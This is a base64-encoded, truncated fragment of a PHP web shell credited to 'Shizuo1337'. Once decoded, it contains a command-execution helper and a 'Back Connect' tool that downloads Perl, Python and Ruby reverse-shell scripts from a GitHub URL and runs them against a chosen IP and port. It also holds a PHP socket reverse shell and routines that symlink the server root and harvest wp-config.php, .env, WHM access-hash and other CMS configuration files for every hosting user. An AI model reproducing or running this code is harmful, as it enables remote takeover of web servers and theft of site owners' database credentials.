czdkTE1UeE81bkplb2RSWm11QmU4bDIyNzRYd2pwTWpNTHpLaFdINy9JRTRJVnN3aVJsTzkrN29MS1gyVFkxZUx1STVkdXBnc3Zuc0x3L1FXSS82amk1RVkrQUF6SFl4QVp6RmVmRTlPYitiSHhaWEpYekdLSFZnME5vOUhzZnlLdjMxY1hKdkhybEJkbmppeklHR3hSMzFvL0RxS2xrNWIyNVlkK2o2elU4cysyRDVMOUpOK084VitiWGR2b0RuNThkYVFsdUFjY29iTnlVNis0aGtLa1FWaTc4Y1BzQ3puSnc1Sk1CV3dSNGtaVTUwWjNxNWc4b1JsWGR0ajZoNU5GVEg4dEFVQ2Vwam5zeHZjc2xWSGpTcUVPbis5Zmd1SkI5bnBkTXBRdWVDSm44aTQrMkdTeGN3U3UrWTRFY0hqSHlya3NUQTNNTnBFRmxUWnFFNnh2NTRyWGpqdHIwOExzQVhZY3pPWDd0S3ZUQUNTRDFUT29FWnh4Q3JQek5RU0tMbEFpNFkySGRoTm5QQUFXT2pUNTd3YkdZL20rRTlQQ01oZEVxNitOTmpLVDR1Q1VHMmdlY0d1K25Od0txeTRDOWZ6aG55MmdkZktRZWRObVBsTzBFMkp3MUlXYjcyQUViR0FjSDd5MjB3bHprSWc3SXNSd1pVRDlCa1JuRlRwcVkxY2xZNlhXOU95blQ4akNldFFzUXpobjV3MTVadm55cFlzWlRiMTV5ZmtLVHlhUlVsa3lUZ1NBQUZVQ1JGdm5FQlVXSEFPaCtUSHVyaDNqSlpTQ2JnYWllZCs1Wk9NaXI0YVQ5d0JEaXBZZ21rOGhQU3Fpa2FQUVFPY3h4WGNWMFUwNW9CajhBekI3eFlqZnZUbkhRU3dGbENmRnllQ1I5ajJoZnpUVWVIYmh2VXlJWVR1eGJlalZRL3MzRHA1VHJHOUIwM2MvQnM9IikpKTsKICAgIH0KCmZ1bmN0aW9uIGNtZDcoJGlubikKewpvYl9zdGFydCgpOwpwd243KCRpbm4uJyAyPiYxJyk7CiRvdXR0ID0gb2JfZ2V0X2NsZWFuKCk7CnJldHVybiAkb3V0dDsKfQoKZnVuY3Rpb24gZmRvd24oJHVybCwgJGJjbmFtZSkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9leGVjIikpIHsKJGZoID0gZm9wZW4oJGJjbmFtZSwndycpOwokYyA9IGN1cmxfaW5pdCgkdXJsKTsKY3VybF9zZXRvcHQoJGMsIENVUkxPUFRfRklMRSwgJGZoKTsKY3VybF9leGVjKCRjKTsKY3VybF9jbG9zZSgkYyk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoImZpbGVfZ2V0X2NvbnRlbnRzIikpIHsKJGZoID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CmZpbGVfcHV0X2NvbnRlbnRzKCRiY25hbWUsICRmaCk7Cn0gZWxzZSB7CiAgICByZXR1cm4gZmFsc2U7Cn0KfQoKLy8gQmFjayBDb25uZWN0CmZ1bmN0aW9uIGJjdG9vbCgpIHsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2lwJ10pICYmIGlzc2V0KCRfUE9TVFsncG9ydCddKSkgewogICAgICAgIGlmKCRfUE9TVFsnYmFja2Nvbm5lY3QnXSA9PSAncGVybCcpIHsKICAgICRiY2E9Imh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9zaGl6dW8xMzM3L2JjL21haW4vYmMucGwiOwogICAgJGJjPWZkb3duKCRiY2EsICdiYy5wbCcpOwogICAgJG91dCA9IGV4ZSgicGVybCBiYy5wbCAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsKICAgIHNsZWVwKDEpOwogICAgZWNobyAiPHByZT4kb3V0XG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogICAgdW5saW5rKCJiYy5wbCIpOwogICAgfQogICAgaWYoJF9QT1NUWydiYWNrY29ubmVjdCddID09ICdweXRob24nKSB7CiAgICAkYmVjYWFhPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2hpenVvMTMzNy9iYy9tYWluL2JjLnB5IjsKICAgICRiZWNhYT1mZG93bigkYmVjYWFhLCAnYmNweXQucHknKTsKICAgICRvdXQxID0gZXhlKCJweXRob24gYmNweXQucHkgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddKTsKICAgIHNsZWVwKDEpOwogICAgZWNobyAiPHByZT4kb3V0MVxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmNweXQucHkiKS4iPC9wcmU+IjsKICAgIHVubGluaygiYmNweXQucHkiKTsKICAgIH0KICAgIGlmKCRfUE9TVFsnYmFja2Nvbm5lY3QnXSA9PSAncnVieScpIHsKICAgICRiZWNhYWthPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2hpenVvMTMzNy9iYy9tYWluL2JjLnJiIjsKICAgICRiZWNhYWs9ZmRvd24oJGJlY2Fha2EsICdiY3J1YnkucmInKTsKICAgICRvdXQyID0gZXhlKCJydWJ5IGJjcnVieS5yYiAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10pOwogICAgc2xlZXAoMSk7CiAgICBlY2hvICI8cHJlPiRvdXQyXG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBiY3J1YnkucmIiKS4iPC9wcmU+IjsKICAgIHVubGluaygiYmNydWJ5LnJiIik7CiAgICB9CmlmKCRfUE9TVFsnYmFja2Nvbm5lY3QnXSA9PSAncGhwJykgewogICAgICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwJ107CiAgICAgICAgICAgICRwb3J0ID0gJF9QT1NUWydwb3J0J107CiAgICAgICAgICAgICRzb2NrZmQgPSBmc29ja29wZW4oJGlwICwgJHBvcnQgLCAkZXJybm8sICRlcnJzdHIgKTsKICAgICAgICAgICAgaWYoJGVycm5vICE9IDApewogICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPiRlcnJubyA6ICRlcnJzdHI8L2ZvbnQ+IjsKICAgICAgICAgICAgfSBlbHNlIGlmICghJHNvY2tmZCkgIHsKICAgICAgICAgICAgICAkcmVzdWx0ID0gIjxwPlVuZXhwZWN0ZWQgZXJyb3IgaGFzIG9jY3VyZWQsIGNvbm5lY3Rpb24gbWF5IGhhdmUgZmFpbGVkLjwvcD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiCiAgICAgICAgICAgICAgICBcbnsjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjfQogICAgICAgICAgICAgICAgXG4uLjo6IEJhY2tDb25uZWN0IFBocCBCeSBTaGl6dW8xMzM3IDo6Li4KICAgICAgICAgICAgICAgIFxueyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyN9XG4iKTsKICAgICAgICAgICAgICAkZGlyID0gZXhlKCJwd2QiKTsKICAgICAgICAgICAgICAkc3lzaW5mbyA9IGV4ZSgidW5hbWUgLWEiKTsKICAgICAgICAgICAgICAkdGltZSA9IGV4ZSgidGltZSIpOwogICAgICAgICAgICAgICRsZW4gPSAxMzM3OwogICAgICAgICAgICAgIGZwdXRzKCRzb2NrZmQsICJVc2VyICIsICRzeXNpbmZvLCAiY29ubmVjdGVkIEAgIiwgJHRpbWUsICJcblxuIik7CiAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHNvY2tmZCkpeyAkY21kUHJvbXB0ID0gJ1tTaGl6dW8xMzM3XSM6PiAnOwogICAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwgJGNtZFByb21wdCApOwogICAgICAgICAgICAgICRjb21tYW5kPSBmZ2V0cygkc29ja2ZkLCAkbGVuKTsKICAgICAgICAgICAgICBmcHV0cygkc29ja2ZkICwgIlxuIiAuIGV4ZSgkY29tbWFuZCkgLiAiXG5cbiIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZjbG9zZSgkc29ja2ZkKTsKICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8IS0tIGJhY2sgY29ubmVjdCAtLT4gICc7CiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJtYi0zIj4nOwogICAgICAgIGVjaG8gJzxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+SXA8L2xhYmVsPic7CiAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9ImlwIiBwbGFjZWhvbGRlcj0iMTI3LjAuMC4wIiByZXF1aXJlZD4nOwogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0ibWItMyI+JzsKICAgICAgICBlY2hvICc8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPlBvcnQ8L2xhYmVsPic7CiAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InBvcnQiIHBsYWNlaG9sZGVyPSIxMzM3IiByZXF1aXJlZD4nOwogICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0ibWItMyI+JzsKICAgICAgICBlY2hvICc8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPlRpcGU8L2xhYmVsPic7CiAgICAgICAgZWNobyAiPHNlbGVjdCBjbGFzcz0nZm9ybS1jb250cm9sJyBuYW1lPSdiYWNrY29ubmVjdCc+PG9wdGlvbiB2YWx1ZT0ncGVybCc+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3BocCc+UEhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncHl0aG9uJz5QeXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSdydWJ5Jz5SdWJ5PC9vcHRpb24+PC9zZWxlY3Q+IjsKICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgIGVjaG8gJzxidXR0b24gY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCB0ZXh0LXB1cnBsZSIgdHlwZT0ic3VibWl0Ij5TdWJtaXQ8L2J1dHRvbj4nOwogICAgICAgIGVjaG8gJzwvZm9ybT4nOwogICAgfQp9CgpmdW5jdGlvbiBnZXRjb25maWcoKSB7CiAgICBpZiAoJF9QT1NUKSB7CiAgICAgICBpZiAoJF9QT1NUWydjb25maWcnXSA9PSAnc3ltdmhvc3RzJykgewogICAgICAgIEBta2Rpcigic3ltdmhvc3RzIiwgMDc3Nyk7CiAgICAgICAgZXhlKCJsbiAtcyAvIHN5bXZob3N0cy9yb290Iik7CiAgICAgICAgJGh0YWNjZXNzID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcwpEaXJlY3RvcnlJbmRleCBzaGl6Lmh0bQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHAKU2F0aXNmeSBBbnkiOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygic3ltdmhvc3RzLy5odGFjY2VzcyIsICRodGFjY2Vzcyk7CiAgICAgICAgJGV0Y19wYXNzd2QgPSAkX1BPU1RbJ3Bhc3N3ZCddOwogICAgICAgICRldGNfcGFzc3dkID0gZXhwbG9kZSgiCiIsICRldGNfcGFzc3dkKTsKICAgICAgICBmb3JlYWNoICgkZXRjX3Bhc3N3ZCBhcyAkcGFzc3dkKSB7CiAgICAgICAgICAgICRwYXdkID0gZXhwbG9kZSgiOiIsICRwYXNzd2QpOwogICAgICAgICAgICAkdXNlciA9ICRwYXdkWzVdOwogICAgICAgICAgICAkamVtYm9kID0gcHJlZ19yZXBsYWNlKCcvL3Zhci93d3cvdmhvc3RzLy8nLCAnJywgJHVzZXIpOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL3Zob3N0cy9pJywgJHVzZXIpKSB7CiAgICAgICAgICAgICAgICBleGUoImxuIC1zICIgLiAkdXNlciAuICIvaHR0cGRvY3Mvd3AtY29uZmlnLnBocCBzeW12aG9zdHMvIiAuICRqZW1ib2QgLiAiLVdvcmRwcmVzcy50eHQiKTsKICAgICAgICAgICAgICAgIGV4ZSgibG4gLXMgIiAuICR1c2VyIC4gIi9odHRwZG9jcy9jb25maWd1cmF0aW9uLnBocCBzeW12aG9zdHMvIiAuICRqZW1ib2QgLiAiLUpvb21sYS50eHQiKTsKICAgICAgICAgICAgICAgIGV4ZSgibG4gLXMgIiAuICR1c2VyIC4gIi9odHRwZG9jcy9jb25maWcva29uZWtzaS5waHAgc3ltdmhvc3RzLyIgLiAkamVtYm9kIC4gIi1Mb2tvbWVkaWEudHh0Iik7CiAgICAgICAgICAgICAgICBleGUoImxuIC1zICIgLiAkdXNlciAuICIvaHR0cGRvY3MvZm9ydW0vY29uZmlnLnBocCBzeW12aG9zdHMvIiAuICRqZW1ib2QgLiAiLXBocEJCLnR4dCIpOwogICAgICAgICAgICAgICAgZXhlKCJsbiAtcyAiIC4gJHVzZXIgLiAiL2h0dHBkb2NzL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIHN5bXZob3N0cy8iIC4gJGplbWJvZCAuICItRHJ1cGFsLnR4dCIpOwogICAgICAgICAgICAgICAgZXhlKCJsbiAtcyAiIC4gJHVzZXIgLiAiL2h0dHBkb2NzL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwIHN5bXZob3N0cy8iIC4gJGplbWJvZCAuICItUHJlc3RhU2hvcC50eHQiKTsKICAgICAgICAgICAgICAgIGV4ZSgibG4gLXMgIiAuICR1c2VyIC4gIi9odHRwZG9jcy9hcHAvZXRjL2xvY2FsLnhtbCBzeW12aG9zdHMvIiAuICRqZW1ib2QgLiAiLU1hZ2VudG8udHh0Iik7CiAgICAgICAgICAgICAgICBleGUoImxuIC1zICIgLiAkdXNlciAuICIvaHR0cGRvY3MvYWRtaW4vY29uZmlnLnBocCBzeW12aG9zdHMvIiAuICRqZW1ib2QgLiAiLU9wZW5DYXJ0LnR4dCIpOwogICAgICAgICAgICAgICAgZXhlKCJsbiAtcyAiIC4gJHVzZXIgLiAiL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAgc3ltdmhvc3RzLyIgLiAkamVtYm9kIC4gIi1Db2RlSWduaXRlci50eHQiKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGlmICgkX1BPU1RbJ2NvbmZpZyddID09ICdzeW1saW5rJykgewogICAgICAgIEBta2Rpcigic3ltY29uZmlnIiwgMDc3Nyk7CiAgICAgICAgQHN5bWxpbmsoIi8iLCAic3ltY29uZmlnL3Jvb3QiKTsKICAgICAgICAkaHRhY2Nlc3MgPSAiT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHNoaXouaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocApTYXRpc2Z5IEFueSI7CiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCJzeW1jb25maWcvLmh0YWNjZXNzIiwgJGh0YWNjZXNzKTsKICAgIH0KICAgIGlmICgkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CiAgICAgICAgQG1rZGlyKCJzeW00MDQiLCAwNzc3KTsKICAgICAgICBAc3ltbGluaygiLyIsICJzeW00MDQvcm9vdCIpOwogICAgICAgICRodGFjY2VzcyA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggc2hpei5odG0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55CkluZGV4T3B0aW9ucyArQ2hhcnNldD1VVEYtOCArRmFuY3lJbmRleGluZyArSWdub3JlQ2FzZSArRm9sZGVyc0ZpcnN0ICtYSFRNTCArSFRNTFRhYmxlICtTdXBwcmVzc1J1bGVzICtTdXBwcmVzc0Rlc2NyaXB0aW9uICtOYW1lV2lkdGg9KgpJbmRleElnbm9yZSAqLnR4dDQwNApSZXdyaXRlRW5naW5lIE9uClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gXi4qc3ltNDA0IFtOQ10KUmV3cml0ZVJ1bGUgLnR4dCQgJXtSRVFVRVNUX1VSSX00MDQgW0wsUj0zMDIuTkNdIjsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoInN5bTQwNC8uaHRhY2Nlc3MiLCAkaHRhY2Nlc3MpOwogICAgfQogICAgaWYgKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7CiAgICAgICAgbWtkaXIoInNoaXp1b19jb25maWciLCAwNzc3KTsKICAgICAgICAkaXNpX2h0YyA9ICJPcHRpb25zIGFsbApSZXF1aXJlIE5vbmUKU2F0aXNmeSBBbnkiOwogICAgICAgICRodGMgPSBmb3Blbigic2hpenVvX2NvbmZpZy8uaHRhY2Nlc3MiLCAidyIpOwogICAgICAgIGZ3cml0ZSgkaHRjLCAkaXNpX2h0Yyk7CiAgICB9CiAgICAkcGFzc3dkID0gJF9QT1NUWydwYXNzd2QnXTsKICAgIHByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfY29uZmlnKTsKICAgIGZvcmVhY2ggKCR1c2VyX2NvbmZpZ1sxXSBhcyAkdXNlcl9zaGl6KSB7CiAgICAgICAgJGdyYWJfY29uZmlnID0gYXJyYXkoIi9ob21lLyR1c2VyX3NoaXovLmFjY2Vzc2hhc2giID0+ICJXSE0tYWNjZXNzaGFzaCIsICIvaG9tZS8kdXNlcl9zaGl6Ly5lbnYiID0+ICJMYXJhdmVsIiwgIi9ob21lLyR1c2VyX3NoaXovbGFyYXZlbC8uZW52IiA9PiAiTGFyYXZlbCIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCIgPT4gIkxva29tZWRpYSIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAiID0+ICJwaHBCQiIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiA9PiAiRHJ1cGFsIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAiID0+ICJQcmVzdGFTaG9wIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwiID0+ICJNYWdlbnRvIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIgPT4gIk9wZW5DYXJ0IiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCIgPT4gIkNvZGVJZ25pdGVyIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCIgPT4gIlZidWxsZXRpbiIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvZm9ydW1zL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAiID0+ICJNeUJCIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL2luYy9jb25mX2dsb2JhbC5waHAiID0+ICJJUEIiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvZGVtby93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3YyL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiID0+ICJeV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9iZXRhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3Rlc3QvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvV0hNQ1MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3dobWNzMS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvV2htY3MvY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvV0hNQy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvV2htYy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvV0hNL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV0hNQ1MiLCAiL2hvbWUvJHVzZXJfc2hpei9wdWJsaWNfaHRtbC9XaG0vY29uZmlndXJhdGlvbi5waHAiID0+ICJXSE1DUyIsICIvaG9tZS8kdXNlcl9zaGl6L3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvSE9TVC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvSG9zdC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCIgPT4gIldITUNTIiwgIi9ob21lLyR1c2VyX3NoaXovcHVibGljX2h0bWwvU1VQUE9SVEVTL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiV